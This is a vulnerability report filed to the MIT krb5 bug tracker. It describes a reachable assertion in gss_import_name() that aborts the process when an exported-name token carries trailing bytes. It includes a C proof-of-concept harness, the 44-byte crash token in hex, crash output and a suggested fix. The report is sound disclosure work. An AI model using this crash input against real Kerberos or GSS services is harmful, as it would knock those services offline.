[krbdev.mit.edu #9217] [krb5] Reachable assert(cp == end) in gss_import_name() aborts on a malformed exported-name token (CWE-617 DoS)
Ze Sheng via RT
rt-comment at krbdev.mit.edu
Mon Jun 1 08:54:43 EDT 2026
Mon Jun 01 08:54:42 2026: Request 9217 was acted upon.
Transaction: Ticket created by zesheng at tamu.edu
Queue: krb5
Subject: [krb5] Reachable assert(cp == end) in gss_import_name() aborts on a malformed exported-name token (CWE-617 DoS)
Owner: Nobody
Requestors: zesheng at tamu.edu
Status: new
Ticket <URL: https://krbdev.mit.edu/rt/Ticket/Display.html?id=9217 >
Hi krb5,
Reporting a reachable assertion in the krb5 GSS mechanism: a malformed
GSS_C_NT_EXPORT_NAME token fed to gss_import_name() aborts the process via
assert(cp == end) in import_name(). It is memory-safe (bounds-checked; not
an
overflow), but since krb5 keeps assertions in release builds, the abort is
reachable in production -- I reproduced it against the stock Ubuntu MIT krb5
1.19.2 library with a single gss_import_name() call (below).
Full write-up and a self-contained PoC follow.
--------------------------------------------------------------------------------
## Summary
`gss_import_name()` with `GSS_C_NT_EXPORT_NAME` (or
`GSS_C_NT_COMPOSITE_EXPORT`)
aborts the process via `assert(cp == end)` in the krb5 mech's
`import_name()`
when the supplied exported-name token declares a name length that leaves
trailing
bytes unconsumed. The assertion is used to validate **attacker-supplied**
length
framing, so a malformed token reaches `abort()` (SIGABRT) — a denial of
service
in any application that imports untrusted exported names.
It is memory-safe (no out-of-bounds access, no corruption): every buffer
access
is bounds-checked, and the assert is purely a length-consistency check. But
MIT
krb5 does not compile out assertions (no `-DNDEBUG` in the build), and
shipped
distribution libraries keep them, so the abort is reachable in production
builds.
## Affected
- Component: `src/lib/gssapi/krb5/import_name.c` — `krb5_gss_import_name()`
/
`import_name()`, the `assert(cp == end)`.
- Verified on: current `master` (`cf20efe`, assert at `import_name.c:300`)
AND the
system MIT krb5 **release 1.19.2** (`import_name.c:303`). The code and
assert
are long-standing (introduced 2009 with the GSS naming extensions).
- Build note: MIT krb5's build system defines `NDEBUG` nowhere
(`grep -rn DNDEBUG src/` is empty), so assertions are live in normal
release
builds; distro `libgssapi_krb5` ships with the assert compiled in.
## Root cause
`import_name()` copies the token into `tmp`, sets `cp`/`end`, validates the
TOK_ID and mech OID, then reads a 4-byte big-endian, attacker-controlled
name
length and copies that many bytes — after which it asserts the cursor
reached the
end of the buffer:
```c
/* src/lib/gssapi/krb5/import_name.c (HEAD cf20efe) */
235 cp = (unsigned char *)tmp;
236 end = cp + input_name_buffer->length;
...
270 BOUNDS_CHECK(cp, end, 4);
271 length = *cp++;
272 length = (length << 8) | *cp++;
273 length = (length << 8) | *cp++;
274 length = (length << 8) | *cp++; // attacker-controlled name
length
276 BOUNDS_CHECK(cp, end, length); // ensures cp does not pass end
277 tmp2 = k5alloc(length + 1, &code);
...
281 tmp2[length] = 0; // stringrep is independently
NUL-terminated
283 cp += length;
...
300 assert(cp == end); // <-- fires when the buffer
has trailing bytes
```
`BOUNDS_CHECK` guarantees `cp` never advances past `end`, but it does
**not**
require the buffer to be exactly the declared length. If the token carries
MORE
bytes than the name length consumes (trailing data after the name, or the
composite block), `cp` lands short of `end`, `cp != end`, and `assert()`
aborts.
After the assert the code only uses `stringrep` (the separately-terminated
copy);
`cp`/`end` are never referenced again. So with assertions disabled the same
input
is a benign misparse (the trailing bytes are ignored) — no memory-safety
impact.
The bug is solely the reachable `abort()`.
## Proof of concept
A single public `gss_import_name()` call — exactly how an application
re-imports
an exported name — on a 44-byte malformed token, linked against the system
MIT
krb5, aborts:
```c
/* import_name_poc.c — build:
* clang -g import_name_poc.c $(pkg-config --cflags --libs krb5-gssapi)
-o import_name_poc
* run: ./import_name_poc crash_input
*/
#include <gssapi/gssapi.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
const char *path = argc > 1 ? argv[1] : "crash_input";
FILE *f = fopen(path, "rb");
if (!f) { perror("fopen"); return 2; }
static unsigned char buf[4096];
size_t n = fread(buf, 1, sizeof(buf), f);
fclose(f);
OM_uint32 major, minor;
gss_buffer_desc in = { n, buf };
gss_name_t out = GSS_C_NO_NAME;
major = gss_import_name(&minor, &in, GSS_C_NT_EXPORT_NAME, &out);
if (major == GSS_S_COMPLETE) gss_release_name(&minor, &out);
return 0;
}
```
The 44-byte token (`crash_input`, hex): an exported-name blob with the krb5
mech
OID `1.2.840.113554.1.2.2`, a name-length field of `0x0000000a`, then a name
followed by extra trailing bytes so `cp != end`:
```
04 01 00 0b 06 09 2a 86 48 86 f7 12 01 02 02 00
00 00 0a 75 73 65 72 40 52 45 41 0b 06 09 2a 86
48 86 f7 12 01 02 02 00 00 00 4c 4d
```
**Output (system MIT krb5 1.19.2):**
```
import_name_poc: .../src/lib/gssapi/krb5/import_name.c:303:
krb5_gss_import_name:
Assertion `cp == end' failed.
Aborted (SIGABRT)
```
## Impact
| Aspect | Details |
|--------|---------|
| **Type** | Reachable assertion -> `abort()` (denial of service) |
| **Severity** | Low–medium (process crash on untrusted exported-name
input) |
| **Attack surface** | Apps importing exported names from untrusted sources
(ACL/authorization-name comparison, RPCSEC_GSS, NFS/Kerberos services,
gss_export_name round-trips) |
| **Memory safety** | Safe — bounds-checked; not an overflow. Pure CWE-617
reachable assertion. |
| **Build dependence** | Live in normal release builds (krb5 does not
define NDEBUG); distro libs ship it |
| **CWE** | CWE-617 (Reachable Assertion) |
## Suggested fix
Replace the assertion with the function's existing error handling, so a
malformed
token returns `GSS_S_BAD_NAME` instead of aborting:
```c
- assert(cp == end);
+ if (cp != end)
+ goto fail_name; /* returns GSS_S_BAD_NAME, like the other
checks */
```
## Credit
Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken).
--------------------------------------------------------------------------------
Happy to send a patch (assert -> goto fail_name) if useful. Thanks!
Best regards,
Ze Sheng
Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)
More information about the krb5-bugs
mailing list